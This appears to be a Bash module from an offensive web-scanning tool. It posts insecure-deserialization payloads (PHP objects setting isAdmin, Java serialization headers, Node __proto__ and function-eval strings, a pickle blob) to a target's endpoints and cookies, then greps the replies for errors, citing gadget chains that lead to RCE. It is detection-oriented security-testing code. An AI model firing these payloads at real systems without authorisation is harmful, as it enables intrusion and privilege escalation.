d2bc52905d
New vectors added: - 22: SSRF Proof — cloud metadata exfiltration (CRITICAL) - 23: Prototype Pollution — Node.js client/server (HIGH) - 24: WebSocket Hijack — WS origin bypass + injection (HIGH) - 25: Mass Assignment — protected field modification (HIGH) - 26: HTTP Parameter Pollution — WAF bypass (HIGH) - 27: Insecure Deserialization — PHP/Java/Node (CRITICAL) - 28: OAuth Takeover — redirect_uri / state / CSRF (CRITICAL) - 29: Web Cache Poisoning — unkeyed header injection (HIGH) - 30: CRLF Injection — HTTP response splitting (CRITICAL) All vectors PROVE exploitation by dumping data/credentials, not just detecting config issues.
133 lines
4.4 KiB
Bash
133 lines
4.4 KiB
Bash
#!/usr/bin/env bash
|
|
# Vector 27: Insecure Deserialization — PHP/Java/Node/ Python
|
|
# Desc: Detects insecure deserialization via error messages & behavior
|
|
# Severity: CRITICAL
|
|
# Proof: Triggers deserialization error revealing app internals
|
|
|
|
vector_deserialization() {
|
|
local target="$1"
|
|
local report="$2"
|
|
local domain=$(get_domain "$target")
|
|
local findings=0
|
|
|
|
print_info "Hunting Insecure Deserialization..."
|
|
|
|
# PHP serialized payloads
|
|
local php_payloads=(
|
|
'O:3:"App":0:{}'
|
|
'O:3:"User":1:{s:7:"isAdmin";b:1;}'
|
|
'O:3:"Admin":0:{}'
|
|
'a:1:{i:0;O:3:"RCE":0:{}}'
|
|
'O:8:"stdClass":0:{}'
|
|
'N;'
|
|
'b:1;'
|
|
'i:1;'
|
|
's:4:"test";'
|
|
)
|
|
|
|
# Java serialized magic bytes payload
|
|
local java_payloads=(
|
|
"rO0ABXc=" # Base64 of Java serialization header
|
|
"rO0ABQ=="
|
|
)
|
|
|
|
# Node.js/express body parser deserialization
|
|
local node_payloads=(
|
|
'{"__proto__":{"admin":true}}'
|
|
'{"rce":"_$$ND_FUNC$$_function(){return true}()"}'
|
|
)
|
|
|
|
# Python pickle payload (base64)
|
|
local python_payloads=(
|
|
"gAN9cQBYEAAAAGFkbWluX3JvbGVfcXVlcnlxAFgHAAAAZW5hYmxlZHEBhXECUnEDLg=="
|
|
)
|
|
|
|
# Deserialization error patterns
|
|
local error_patterns='unserialize\|O:.*:"\|java.io.InvalidClassException\|java.lang.ClassNotFoundException\|pickle\|unpickle\|PHP Fatal error\|__PHP_Incomplete_Class\|NOTICE: unserialize'
|
|
|
|
# Common deserialization endpoints
|
|
local endpoints=$(get_discovered_urls "$domain" 2>/dev/null | grep -iE 'api|rest|session|cookie|token|auth|login|profile|user' | head -10)
|
|
[ -z "$endpoints" ] && endpoints="$target"
|
|
|
|
# Content types to test
|
|
local content_types=(
|
|
"application/x-www-form-urlencoded"
|
|
"application/json"
|
|
"application/x-php-serialized"
|
|
"application/x-java-serialized"
|
|
"text/xml"
|
|
)
|
|
|
|
for endpoint in $endpoints; do
|
|
# Test PHP deserialization
|
|
for payload in "${php_payloads[@]}"; do
|
|
local response=$(curl -s --connect-timeout 5 --max-time 8 \
|
|
-X POST -H "Content-Type: application/x-www-form-urlencoded" \
|
|
-d "data=${payload}" \
|
|
"$endpoint" 2>/dev/null)
|
|
|
|
if echo "$response" | grep -qi "$error_patterns\|__PHP_Incomplete_Class\|O:.*:\""; then
|
|
print_find "PHP Deserialization Error!" "Server processed unserialized data"
|
|
echo "SEVERITY: CRITICAL
|
|
VECTOR: Insecure Deserialization (PHP)
|
|
DETAIL: Server deserialized untrusted input, revealing PHP internals
|
|
URL: $endpoint
|
|
PAYLOAD: $payload
|
|
EVIDENCE: $(echo "$response" | grep -i 'unserialize\|PHP\|error' | head -3 | tr '\n' ' ' | cut -c1-200)
|
|
EXPLOIT: PHP gadget chain → RCE" > "$REPORTS_DIR/.finding_deser_$(date +%s).txt"
|
|
findings=$((findings + 1))
|
|
break 3
|
|
fi
|
|
done
|
|
|
|
# Test Java deserialization
|
|
for payload in "${java_payloads[@]}"; do
|
|
local response=$(curl -s --connect-timeout 5 --max-time 8 \
|
|
-X POST -H "Content-Type: application/x-java-serialized" \
|
|
-d "$payload" \
|
|
"$endpoint" 2>/dev/null)
|
|
|
|
if echo "$response" | grep -qi "java.io\|ClassNotFoundException\|InvalidClassException"; then
|
|
print_find "Java Deserialization Detected!" "Server processes Java serialized objects"
|
|
echo "SEVERITY: CRITICAL
|
|
VECTOR: Insecure Deserialization (Java)
|
|
DETAIL: Server accepts Java serialized objects at $endpoint
|
|
EXPLOIT: ysoserial gadget chain → RCE" > "$REPORTS_DIR/.finding_deser_java_$(date +%s).txt"
|
|
findings=$((findings + 1))
|
|
break 2
|
|
fi
|
|
done
|
|
|
|
# Test Node.js deserialization
|
|
for payload in "${node_payloads[@]}"; do
|
|
local response=$(curl -s --connect-timeout 5 --max-time 8 \
|
|
-X POST -H "Content-Type: application/json" \
|
|
-d "$payload" \
|
|
"$endpoint" 2>/dev/null)
|
|
|
|
if echo "$response" | grep -qi "_$$ND_FUNC"\|"__proto__\|polluted"; then
|
|
print_find "Node.js Deserialization Risk!" "Server processed __proto__ payload"
|
|
findings=$((findings + 1))
|
|
break 2
|
|
fi
|
|
done
|
|
|
|
# Test cookie deserialization
|
|
local cookie_payload='O:3:"App":1:{s:7:"isAdmin";b:1;}'
|
|
local response=$(curl -s --connect-timeout 5 --max-time 8 \
|
|
-b "session=serialized;user_data=$(printf '%s' "$cookie_payload" | base64);auth=O:3:\"User\":0:{}" \
|
|
"$endpoint" 2>/dev/null)
|
|
|
|
if echo "$response" | grep -qi "$error_patterns"; then
|
|
print_find "Cookie Deserialization!" "Session cookie triggered deserialize error"
|
|
findings=$((findings + 1))
|
|
fi
|
|
done
|
|
|
|
if [ "$findings" -eq 0 ]; then
|
|
print_info "No deserialization issues found"
|
|
fi
|
|
|
|
return $findings
|
|
}
|